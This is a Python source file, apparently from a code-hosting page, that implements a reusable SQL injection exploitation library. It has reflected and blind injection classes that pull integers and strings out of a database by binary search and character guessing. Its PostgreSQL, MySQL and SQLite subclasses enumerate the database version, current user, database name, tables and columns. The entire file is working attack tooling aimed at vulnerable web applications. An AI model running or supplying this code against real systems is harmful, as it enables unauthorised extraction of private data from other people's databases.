302 lines
11 KiB
Python
302 lines
11 KiB
Python
from abc import ABC, abstractmethod
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import sys
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import string
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class SQLi(ABC):
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@staticmethod
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def build_query(column: str, table=None, condition=None, offset=None):
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condition = "" if not condition else f" WHERE {condition}"
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offset = "" if offset is None else f" OFFSET {offset}"
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table = "" if not table else f" FROM {table}"
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return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
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def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
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row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
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if verbose:
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print(f"Fetching {row_count} rows")
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rows = []
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for i in range(0, row_count):
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rows.append(self.extract_int(column, table, condition, i, verbose=verbose))
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return rows
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def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False):
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row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
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if verbose:
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print(f"Fetching {row_count} rows")
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rows = []
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for i in range(0, row_count):
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rows.append(self.extract_string(column, table, condition, i, verbose=verbose))
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return rows
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@abstractmethod
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def ascii(self):
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pass
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@abstractmethod
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def extract_int(self, column: str, table=None, condition=None,
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offset=None, verbose=False):
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pass
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@abstractmethod
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def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
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pass
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@abstractmethod
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def get_database_version(self, verbose=False):
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pass
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@abstractmethod
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def get_current_user(self, verbose=False):
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pass
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@abstractmethod
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def get_current_database(self, verbose=False):
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pass
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@abstractmethod
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def get_table_names(self, schema: str, verbose=False):
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pass
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@abstractmethod
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def get_column_names(self, table: str, schema: str, verbose=False):
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pass
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class ReflectedSQLi(SQLi, ABC):
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def __init__(self, column_types: list):
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self.column_types = column_types
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@abstractmethod
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def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
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pass
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def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
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query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
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return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
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def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
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if str not in self.column_types:
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print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
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return None
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str_column = self.column_types.index(str)
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query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
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query_columns[str_column] = column
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return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
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def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
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one = False
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if isinstance(columns, str):
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columns = [columns]
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one = True
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column_count = len(columns)
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if len(self.column_types) < column_count:
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print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
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return None
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query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
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row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
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if verbose:
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print(f"Fetching {row_count} rows")
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rows = []
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column_str = ",".join(query_columns)
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for i in range(0, row_count):
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row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
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if one:
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rows.append(int(row[0]))
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else:
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rows.append(list(map(lambda i: int(row[i]), range(column_count))))
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return rows
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def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
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one = False
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if isinstance(columns, str):
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columns = [columns]
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one = True
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column_count = len(columns)
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if self.column_types.count(str) < column_count:
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print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
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return None
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query_columns = list(map(str, range(1, len(self.column_types) + 1)))
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offsets = list(None for _ in range(column_count))
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offset = 0
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for i, column in enumerate(columns):
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while self.column_types[offset] != str:
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offset += 1
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offsets[i] = offset
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query_columns[offset] = column
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offset += 1
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row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
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if verbose:
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print(f"Fetching {row_count} rows")
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rows = []
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column_str = ",".join(query_columns)
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for i in range(0, row_count):
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row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
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if one:
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rows.append(row[offsets[0]])
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else:
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rows.append(list(map(lambda o: row[o], offsets)))
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return rows
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# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
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class BlindSQLi(SQLi, ABC):
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@abstractmethod
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def blind_sqli(self, condition: str, verbose=False) -> bool:
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pass
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def extract_int(self, column: str, table=None, condition=None,
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offset=None, verbose=False, binary_search=True,
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min_value=None, max_value=None):
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query = self.build_query(column, table, condition, offset)
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if self.blind_sqli(f"({query})=0"):
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return 0
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if not binary_search:
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cur_int = 1 if min_value is None else min_value
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while self.blind_sqli(f"({query})>{cur_int}", verbose):
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cur_int += 1
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if max_value is not None and cur_int >= max_value:
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return None
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return cur_int
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else:
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if min_value is None or max_value is None:
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min_value = 1 if min_value is None else min_value
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max_value = 1 if max_value is None else max_value
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while self.blind_sqli(f"({query})>{max_value}", verbose):
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min_value = max_value + 1
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max_value = max_value * 2
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while True:
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cur_int = (min_value + max_value) // 2
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if self.blind_sqli(f"({query})>{cur_int}", verbose):
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min_value = cur_int + 1
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elif self.blind_sqli(f"({query})<{cur_int}", verbose):
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max_value = cur_int - 1
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else:
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return cur_int
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def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
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if max_length is None:
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max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
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if verbose:
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print("Fetched length:", max_length)
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cur_str = ""
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while True:
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found = False
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cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))"
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if charset:
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query = self.build_query(cur_column, table, condition, offset)
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for c in charset:
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if self.blind_sqli(f"({query})={ord(c)}"):
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found = True
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cur_str += c
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if verbose:
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sys.stdout.write(c)
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sys.stdout.flush()
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break
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else:
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c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
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if c is not None:
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found = True
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cur_str += chr(c)
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if verbose:
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sys.stdout.write(chr(c))
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sys.stdout.flush()
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if not found or (max_length is not None and len(cur_str) >= max_length):
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break
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if verbose:
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print()
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return cur_str
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class PostgreSQLi(SQLi, ABC):
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def get_database_version(self, verbose=False):
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return self.extract_string("VERSION()", verbose=verbose)
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def get_current_user(self, verbose=False):
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return self.extract_string("current_user", verbose=verbose)
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def get_current_database(self, verbose=False):
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return self.extract_string("current_database()", verbose=verbose)
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def get_table_names(self, schema: str = "public", verbose=False):
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return self.extract_multiple_strings("table_name", "information_schema.tables", f"table_schema='{schema}'",
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verbose=verbose)
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def get_column_names(self, table: str, schema: str = "public", verbose=False):
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return self.extract_multiple_strings("column_name", "information_schema.columns",
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f"table_schema='{schema}' AND table_name='{table}'",
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verbose=verbose)
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def ascii(self):
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return "ascii"
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class MySQLi(SQLi, ABC):
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def get_database_version(self, verbose=False):
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return self.extract_string("VERSION()", verbose=verbose)
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def get_current_user(self, verbose=False):
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return self.extract_string("USER()", verbose=verbose)
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def get_current_database(self, verbose=False):
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return self.extract_string("DATABASE()", verbose=verbose)
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def get_table_names(self, schema: str, verbose=False):
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return self.extract_multiple_strings("table_name", "information_schema.tables", f"table_schema='{schema}'",
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verbose=verbose)
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def get_column_names(self, table: str, schema: str, verbose=False):
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return self.extract_multiple_strings("column_name", "information_schema.columns",
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f"table_schema='{schema}' AND table_name='{table}'",
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verbose=verbose)
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def ascii(self):
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return "ascii"
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class SQLitei(SQLi, ABC):
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def get_database_version(self, verbose=False):
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return self.extract_string("sqlite_version()", verbose=verbose)
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def get_current_user(self, verbose=False):
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raise Exception("Not implemented!")
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def get_current_database(self, verbose=False):
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raise Exception("Not implemented!")
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def get_table_names(self, verbose=False):
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return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'",
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verbose=verbose)
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def get_column_names(self, table: str, schema: str, verbose=False):
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# TODO: we could query the "sql" column and parse it using regex
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raise Exception("Not implemented!")
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def ascii(self):
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return "unicode"
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